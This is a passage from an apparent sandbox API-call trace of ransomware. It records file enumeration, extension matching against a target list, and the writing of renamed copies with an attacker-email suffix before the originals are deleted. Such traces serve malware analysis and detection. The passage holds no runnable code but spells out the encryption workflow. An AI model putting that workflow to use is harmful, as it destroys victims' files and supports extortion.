(lpString1=".pdf", lpString2=".htm") returned 1 [0268.051] lstrlenW (lpString=".xls") returned 4 [0268.051] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0268.051] lstrlenW (lpString=".xlsx") returned 5 [0268.051] lstrcmpiW (lpString1=".xlsx", lpString2="n.htm") returned -1 [0268.051] lstrlenW (lpString=".ppt") returned 4 [0268.051] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0268.051] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0268.051] lstrlenW (lpString=".zip") returned 4 [0268.051] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0268.051] lstrlenW (lpString=".rar") returned 4 [0268.051] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0268.051] lstrlenW (lpString=".bz2") returned 4 [0268.051] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0268.051] lstrlenW (lpString=".7z") returned 3 [0268.051] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0268.051] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0268.051] lstrlenW (lpString=".dbf") returned 4 [0268.051] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0268.051] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0268.051] lstrlenW (lpString=".1cd") returned 4 [0268.051] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0268.051] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0268.051] lstrlenW (lpString=".jpg") returned 4 [0268.051] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0268.051] lstrcmpiW (lpString1=".jpg", lpString2=".html") returned 1 [0268.052] lstrlenW (lpString="Garden.jpg") returned 10 [0268.052] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0268.052] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x34bff1c | out: lpFileSize=0x34bff1c*=23871) returned 1 [0268.052] CloseHandle (hObject=0x2f8) returned 1 [0268.052] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg")) returned 0x20 [0268.052] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0268.052] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.052] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0268.052] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0268.052] lstrlenW (lpString=".doc") returned 4 [0268.052] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0268.052] lstrlenW (lpString=".docx") returned 5 [0268.052] lstrcmpiW (lpString1=".docx", lpString2="n.jpg") returned -1 [0268.052] lstrlenW (lpString=".pdf") returned 4 [0268.052] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0268.052] lstrlenW (lpString=".xls") returned 4 [0268.052] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0268.052] lstrlenW (lpString=".xlsx") returned 5 [0268.052] lstrcmpiW (lpString1=".xlsx", lpString2="n.jpg") returned -1 [0268.052] lstrlenW (lpString=".ppt") returned 4 [0268.052] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0268.052] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0268.052] lstrlenW (lpString=".zip") returned 4 [0268.052] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0268.052] lstrlenW (lpString=".rar") returned 4 [0268.052] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0268.052] lstrlenW (lpString=".bz2") returned 4 [0268.053] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0268.053] lstrlenW (lpString=".7z") returned 3 [0268.053] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0268.053] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0268.053] lstrlenW (lpString=".dbf") returned 4 [0268.053] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0268.053] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0268.053] lstrlenW (lpString=".1cd") returned 4 [0268.053] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0268.053] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0268.053] lstrlenW (lpString=".jpg") returned 4 [0268.053] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0268.053] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0268.053] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0268.053] lstrlenW (lpString=".doc") returned 4 [0268.053] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0268.053] lstrlenW (lpString=".docx") returned 5 [0268.053] lstrcmpiW (lpString1=".docx", lpString2="n.jpg") returned -1 [0268.053] lstrlenW (lpString=".pdf") returned 4 [0268.053] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0268.053] lstrlenW (lpString=".xls") returned 4 [0268.053] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0268.053] lstrlenW (lpString=".xlsx") returned 5 [0268.053] lstrcmpiW (lpString1=".xlsx", lpString2="n.jpg") returned -1 [0268.053] lstrlenW (lpString=".ppt") returned 4 [0268.053] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0268.053] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0268.053] lstrlenW (lpString=".zip") returned 4 [0268.053] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0268.053] lstrlenW (lpString=".rar") returned 4 [0268.053] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0268.053] lstrlenW (lpString=".bz2") returned 4 [0268.054] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0268.054] lstrlenW (lpString=".7z") returned 3 [0268.054] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0268.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0268.054] lstrlenW (lpString=".dbf") returned 4 [0268.054] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0268.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0268.054] lstrlenW (lpString=".1cd") returned 4 [0268.054] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0268.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0268.054] lstrlenW (lpString=".jpg") returned 4 [0268.054] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0268.054] lstrcmpiW (lpString1=".emf", lpString2=".html") returned -1 [0268.054] lstrlenW (lpString="Genko_1.emf") returned 11 [0268.054] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0268.180] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x34bff1c | out: lpFileSize=0x34bff1c*=5524) returned 1 [0268.180] CloseHandle (hObject=0x2f4) returned 1 [0268.180] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf")) returned 0x20 [0268.180] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0268.181] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0268.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0268.181] lstrlenW (lpString=".doc") returned 4 [0268.181] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0268.181] lstrlenW (lpString=".docx") returned 5 [0268.181] lstrcmpiW (lpString1=".docx", lpString2="1.emf") returned -1 [0268.181] lstrlenW (lpString=".pdf") returned 4 [0268.181] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0268.181] lstrlenW (lpString=".xls") returned 4 [0268.181] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0268.181] lstrlenW (lpString=".xlsx") returned 5 [0268.181] lstrcmpiW (lpString1=".xlsx", lpString2="1.emf") returned -1 [0268.181] lstrlenW (lpString=".ppt") returned 4 [0268.181] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0268.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0268.181] lstrlenW (lpString=".zip") returned 4 [0268.181] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0268.181] lstrlenW (lpString=".rar") returned 4 [0268.181] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0268.181] lstrlenW (lpString=".bz2") returned 4 [0268.181] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0268.181] lstrlenW (lpString=".7z") returned 3 [0268.181] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0268.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0268.181] lstrlenW (lpString=".dbf") returned 4 [0268.181] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0268.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0268.181] lstrlenW (lpString=".1cd") returned 4 [0268.181] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0268.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0268.181] lstrlenW (lpString=".jpg") returned 4 [0268.181] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0268.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0268.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0268.182] lstrlenW (lpString=".doc") returned 4 [0268.182] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0268.182] lstrlenW (lpString=".docx") returned 5 [0268.182] lstrcmpiW (lpString1=".docx", lpString2="1.emf") returned -1 [0268.182] lstrlenW (lpString=".pdf") returned 4 [0268.182] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0268.182] lstrlenW (lpString=".xls") returned 4 [0268.182] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0268.182] lstrlenW (lpString=".xlsx") returned 5 [0268.182] lstrcmpiW (lpString1=".xlsx", lpString2="1.emf") returned -1 [0268.182] lstrlenW (lpString=".ppt") returned 4 [0268.182] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0268.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0268.182] lstrlenW (lpString=".zip") returned 4 [0268.182] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0268.182] lstrlenW (lpString=".rar") returned 4 [0268.182] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0268.182] lstrlenW (lpString=".bz2") returned 4 [0268.182] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0268.182] lstrlenW (lpString=".7z") returned 3 [0268.182] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0268.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0268.182] lstrlenW (lpString=".dbf") returned 4 [0268.182] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0268.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0268.182] lstrlenW (lpString=".1cd") returned 4 [0268.182] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0268.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0268.182] lstrlenW (lpString=".jpg") returned 4 [0268.182] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0268.183] Sleep (dwMilliseconds=0x64) [0268.481] lstrcmpiW (lpString1=".wmv", lpString2=".html") returned 1 [0268.481] lstrlenW (lpString="Bear_Formatted_RGB6_PAL.wmv") returned 27 [0268.481] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_RGB6_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_rgb6_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0268.537] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x34bff1c | out: lpFileSize=0x34bff1c*=269322) returned 1 [0268.537] CloseHandle (hObject=0x2fc) returned 1 [0268.537] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_RGB6_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_rgb6_pal.wmv")) returned 0x20 [0268.542] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_RGB6_PAL.wmv.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_rgb6_pal.wmv.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0268.546] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_RGB6_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_rgb6_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.546] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_RGB6_PAL.wmv") returned 80 [0268.546] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_RGB6_PAL.wmv") returned 80 [0268.546] lstrlenW (lpString=".doc") returned 4 [0268.546] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0268.546] lstrlenW (lpString=".docx") returned 5 [0268.546] lstrcmpiW (lpString1=".docx", lpString2="L.wmv") returned -1 [0268.546] lstrlenW (lpString=".pdf") returned 4 [0268.546] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0268.546] lstrlenW (lpString=".xls") returned 4 [0268.546] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0268.546] lstrlenW (lpString=".xlsx") returned 5 [0268.546] lstrcmpiW (lpString1=".xlsx", lpString2="L.wmv") returned -1 [0268.546] lstrlenW (lpString=".ppt") returned 4 [0268.547] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0268.547] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_RGB6_PAL.wmv") returned 80 [0268.547] lstrlenW (lpString=".zip") returned 4 [0268.547] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0268.547] lstrlenW (lpString=".rar") returned 4 [0268.547] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0268.547] lstrlenW (lpString=".bz2") returned 4 [0268.547] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0268.547] lstrlenW (lpString=".7z") returned 3 [0268.547] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0268.547] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_RGB6_PAL.wmv") returned 80 [0268.547] lstrlenW (lpString=".dbf") returned 4 [0268.547] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0268.547] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_RGB6_PAL.wmv") returned 80 [0268.547] lstrlenW (lpString=".1cd") returned 4 [0268.547] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0268.547] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_RGB6_PAL.wmv") returned 80 [0268.547] lstrlenW (lpString=".jpg") returned 4 [0268.547] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0268.547] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_RGB6_PAL.wmv") returned 80 [0268.547] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_RGB6_PAL.wmv") returned 80 [0268.547] lstrlenW (lpString=".doc") returned 4 [0268.547] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0268.547] lstrlenW (lpString=".docx") returned 5 [0268.547] lstrcmpiW (lpString1=".docx", lpString2="L.wmv") returned -1 [0268.547] lstrlenW (lpString=".pdf") returned 4 [0268.547] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0268.547] lstrlenW (lpString=".xls") returned 4 [0268.547] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0268.547] lstrlenW (lpString=".xlsx") returned 5 [0268.547] lstrcmpiW (lpString1=".xlsx", lpString2="L.wmv") returned -1 [0268.547] lstrlenW (lpString=".ppt") returned 4 [0268.548] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0268.548] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_RGB6_PAL.wmv") returned 80 [0268.548] lstrlenW (lpString=".zip") returned 4 [0268.548] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0268.548] lstrlenW (lpString=".rar") returned 4 [0268.548] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0268.548] lstrlenW (lpString=".bz2") returned 4 [0268.548] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0268.548] lstrlenW (lpString=".7z") returned 3 [0268.548] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0268.548] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_RGB6_PAL.wmv") returned 80 [0268.548] lstrlenW (lpString=".dbf") returned 4 [0268.548] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0268.548] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_RGB6_PAL.wmv") returned 80 [0268.548] lstrlenW (lpString=".1cd") returned 4 [0268.548] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0268.548] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_RGB6_PAL.wmv") returned 80 [0268.548] lstrlenW (lpString=".jpg") returned 4 [0268.548] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0268.548] lstrcmpiW (lpString1=".png", lpString2=".html") returned 1 [0268.548] lstrlenW (lpString="content-background.png") returned 22 [0268.548] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\content-background.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0268.549] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x34bff1c | out: lpFileSize=0x34bff1c*=581394) returned 1 [0268.549] CloseHandle (hObject=0x308) returned 1 [0268.549] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\content-background.png")) returned 0x20 [0268.549] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-background.png.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\content-background.png.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0268.549] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\content-background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.549] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-background.png") returned 75 [0268.549] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-background.png") returned 75 [0268.549] lstrlenW (lpString=".doc") returned 4 [0268.549] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0268.549] lstrlenW (lpString=".docx") returned 5 [0268.549] lstrcmpiW (lpString1=".docx", lpString2="d.png") returned -1 [0268.549] lstrlenW (lpString=".pdf") returned 4 [0268.549] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0268.549] lstrlenW (lpString=".xls") returned 4 [0268.549] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0268.549] lstrlenW (lpString=".xlsx") returned 5 [0268.549] lstrcmpiW (lpString1=".xlsx", lpString2="d.png") returned -1 [0268.549] lstrlenW (lpString=".ppt") returned 4 [0268.549] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0268.549] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-background.png") returned 75 [0268.549] lstrlenW (lpString=".zip") returned 4 [0268.549] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0268.549] lstrlenW (lpString=".rar") returned 4 [0268.549] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0268.549] lstrlenW (lpString=".bz2") returned 4 [0268.549] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0268.549] lstrlenW (lpString=".7z") returned 3 [0268.550] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0268.550] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-background.png") returned 75 [0268.550] lstrlenW (lpString=".dbf") returned 4 [0268.550] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0268.685] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page.wmv.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0 [0268.686] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page_pal.wmv.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0 [0270.651] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34bfec8 | out: lpNewFilePointer=0x0) returned 1 [0270.651] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34bfec8 | out: lpNewFilePointer=0x0) returned 1 [0270.651] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01167_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0270.742] GetLastError () returned 0x0 [0270.742] ReadFile (in: hFile=0x380, lpBuffer=0x4070020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34bfed4, lpOverlapped=0x0 | out: lpBuffer=0x4070020*, lpNumberOfBytesRead=0x34bfed4*=0x820, lpOverlapped=0x0) returned 1 [0270.770] WriteFile (in: hFile=0x37c, lpBuffer=0x4070020*, nNumberOfBytesToWrite=0x830, lpNumberOfBytesWritten=0x34bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4070020*, lpNumberOfBytesWritten=0x34bfc9c*=0x830, lpOverlapped=0x0) returned 1 [0270.771] ReadFile (in: hFile=0x380, lpBuffer=0x4070020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34bfed4, lpOverlapped=0x0 | out: lpBuffer=0x4070020*, lpNumberOfBytesRead=0x34bfed4*=0x0, lpOverlapped=0x0) returned 1 [0270.771] WriteFile (in: hFile=0x37c, lpBuffer=0x4070020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4070020*, lpNumberOfBytesWritten=0x34bfc9c*=0xec, lpOverlapped=0x0) returned 1 [0270.771] SetEndOfFile (hFile=0x37c) returned 1 [0270.771] CloseHandle (hObject=0x37c) returned 1 [0270.771] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34bfec8 | out: lpNewFilePointer=0x0) returned 1 [0270.771] SetEndOfFile (hFile=0x380) returned 1 [0270.773] CloseHandle (hObject=0x380) returned 1 [0270.773] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0270.778] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft 